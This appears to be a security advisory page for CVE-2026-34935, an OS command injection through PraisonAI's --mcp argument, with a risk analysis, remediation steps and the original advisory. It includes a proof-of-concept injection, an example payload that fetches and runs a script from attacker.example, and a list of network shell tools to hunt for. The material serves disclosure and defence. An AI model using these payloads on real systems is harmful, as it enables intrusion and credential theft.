CVE-2026-34935: PraisonAI: unvalidated --mcp arg allows OS command RCE

GHSA-9gm9-c8mq-vq7mCRITICALPoC AVAILABLE
Published April 1, 2026
CISO Take

PraisonAI versions 4.5.15 through 4.5.68 pass the `--mcp` CLI argument straight into `shlex.split()` and then to `anyio.open_process()` without any allowlist or validation, so anyone who can influence that argument runs arbitrary OS commands as the process user. The CVSS is 9.8 and the PoC is a one-liner, but exposure depends on whether untrusted input reaches the CLI flag, for example through wrappers, CI jobs, or orchestration code that builds the command line. Exploitation likelihood is currently low to moderate (EPSS 0.8%, top 42%), the CVE is not in CISA KEV, and no public exploit or Nuclei template is tracked. Downstream blast radius is small (1 tracked dependent), but the package has 196 other CVEs, which points to a weak security track record. Upgrade to praisonai 4.5.69 or later, which restricts MCP commands to npx, uvx, node and python, and audit any automation that builds `--mcp` values from external input.

Sources:NVDGitHub AdvisoryEPSSATLASPyPI Advisory Database

What is the risk?

Severity is critical on paper (CVSS 9.8, network, no privileges, no user interaction), but real-world risk hinges on whether attacker-controlled data can reach the `--mcp` argument. A local CLI invoked by a trusted developer is low risk. Wrappers, web front-ends, chat-driven agents or CI pipelines that pass external strings into the flag are high risk. Short-term exploitation probability is modest (EPSS 0.00839, no KEV, no public exploit tracked). The PoC is trivial, so weaponization is easy once a reachable injection point exists. The project's 196 other CVEs suggest recurring input-validation weaknesses.

How does the attack unfold?

Initial Access
Attacker supplies a crafted command string to any interface that forwards input to the praisonai --mcp argument.
AML.T0049
Exploitation
The string is parsed by shlex.split() and passed unvalidated to anyio.open_process(), spawning an attacker-chosen process.
AML.T0050
Credential Access
The attacker reads environment variables and config files to steal LLM API keys, MCP credentials and cloud tokens.
AML.T0055
Impact
Full command execution as the process user enables data theft, lateral movement and persistent compromise of the agent host.

What systems are affected?

PackageEcosystemVulnerable RangePatched
PraisonAIpip>= 4.5.15, < 4.5.694.5.69
1 dependents61% patched~24d to patchFull package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1
9.8 / 10
EPSS
0.8%
chance of exploitation in 30 days
Higher than 58% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
○Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRNone
UINone
SUnchanged
CHigh
IHigh
AHigh

What should I do?

1 step
  1. 1) Upgrade praisonai to 4.5.69 or later (affected range: >= 4.5.15, < 4.5.69). 2) Inventory scripts, CI jobs, services and wrappers that invoke praisonai --mcp and check whether any part of the value comes from user, webhook, chat or repository-controlled input. 3) Until patched, hardcode MCP server commands and never build them from external input. 4) Run agent processes as least-privileged users in sandboxed containers with minimal secrets and restricted egress. 5) Detect: hunt for praisonai processes spawning shells or unexpected children (bash, sh, curl, wget, nc), and review command-line logs for --mcp values outside npx, uvx, node and python. 6) Rotate secrets on any host where suspicious invocations are found.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15-Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6-AI system operation and monitoring
NIST AI RMF
MANAGE 2.3-Respond to previously unknown risks and vulnerabilities
OWASP LLM Top 10
LLM05-Improper Output Handling / Insecure Plugin DesignLLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-34935?

PraisonAI versions 4.5.15 through 4.5.68 pass the `--mcp` CLI argument straight into `shlex.split()` and then to `anyio.open_process()` without any allowlist or validation, so anyone who can influence that argument runs arbitrary OS commands as the process user. The CVSS is 9.8 and the PoC is a one-liner, but exposure depends on whether untrusted input reaches the CLI flag, for example through wrappers, CI jobs, or orchestration code that builds the command line. Exploitation likelihood is currently low to moderate (EPSS 0.8%, top 42%), the CVE is not in CISA KEV, and no public exploit or Nuclei template is tracked. Downstream blast radius is small (1 tracked dependent), but the package has 196 other CVEs, which points to a weak security track record. Upgrade to praisonai 4.5.69 or later, which restricts MCP commands to npx, uvx, node and python, and audit any automation that builds `--mcp` values from external input.

Is CVE-2026-34935 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-34935, increasing the risk of exploitation.

How to fix CVE-2026-34935?

1) Upgrade praisonai to 4.5.69 or later (affected range: >= 4.5.15, < 4.5.69). 2) Inventory scripts, CI jobs, services and wrappers that invoke `praisonai --mcp` and check whether any part of the value comes from user, webhook, chat or repository-controlled input. 3) Until patched, hardcode MCP server commands and never build them from external input. 4) Run agent processes as least-privileged users in sandboxed containers with minimal secrets and restricted egress. 5) Detect: hunt for praisonai processes spawning shells or unexpected children (bash, sh, curl, wget, nc), and review command-line logs for `--mcp` values outside npx, uvx, node and python. 6) Rotate secrets on any host where suspicious invocations are found.

What systems are affected by CVE-2026-34935?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP client integrations, agent orchestration pipelines, CI/CD-integrated AI automation.

What is the CVSS score for CVE-2026-34935?

CVE-2026-34935 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.84%.

What is the AI security impact?

Affected AI Architectures

agent frameworksMCP client integrationsagent orchestration pipelinesCI/CD-integrated AI automation

MITRE ATLAS Techniques

AML.T0049Exploit Public-Facing Application
AML.T0050Command and Scripting Interpreter
AML.T0053AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.6.2.6
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM05, LLM06

What are the technical details?

Original Advisory

### Summary The `--mcp` CLI argument is passed directly to `shlex.split()` and forwarded through the call chain to `anyio.open_process()` with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user. ### Details `cli/features/mcp.py:61` (source) -> `praisonaiagents/mcp/mcp.py:345` (hop) -> `mcp/client/stdio/__init__.py:253` (sink) ```python # source parts = shlex.split(command) # hop cmd, args, env = self.parse_mcp_command(command, env_vars) self.server_params = StdioServerParameters(command=cmd, args=arguments) # sink process = await anyio.open_process([command, *args]) ``` Fixed in commit `47bff65413beaa3c21bf633c1fae4e684348368c` (v4.5.69) by introducing a command allowlist: ```python ALLOWED_COMMANDS = {"npx", "uvx", "node", "python"} if cmd not in ALLOWED_COMMANDS: raise ValueError(f"Disallowed command: {cmd}") ``` ### PoC ```python # tested on: praisonai==4.5.48 # install: pip install praisonai==4.5.48 # run: praisonai --mcp "bash -c 'id > /tmp/pwned'" # verify: cat /tmp/pwned # expected output: uid=1000(...) gid=1000(...) groups=1000(...) ``` ### Impact Any deployment where the `--mcp` argument is influenced by untrusted input is exposed to full OS command execution as the process user. No authentication is required.

Exploitation Scenario

An organization exposes an internal service or chat bot that lets users register MCP tool servers by passing a command string to a PraisonAI-based agent runner, which launches `praisonai --mcp "<user value>"`. An attacker supplies `bash -c 'curl https://attacker.example/x.sh | sh'` as the MCP server command. PraisonAI parses it with shlex and spawns it via anyio.open_process, executing the payload with the runner's privileges. The attacker then harvests LLM API keys and cloud credentials from the environment and moves laterally to connected data stores and pipelines.

Weaknesses (CWE)

CWE-78 — Improper Neutralization of Special Elements used in an OS Command: The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command before it is sent to a downstream component.

  • [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
April 1, 2026
Last Modified
November 16, 2026
First Seen
November 16, 2026

Related Vulnerabilities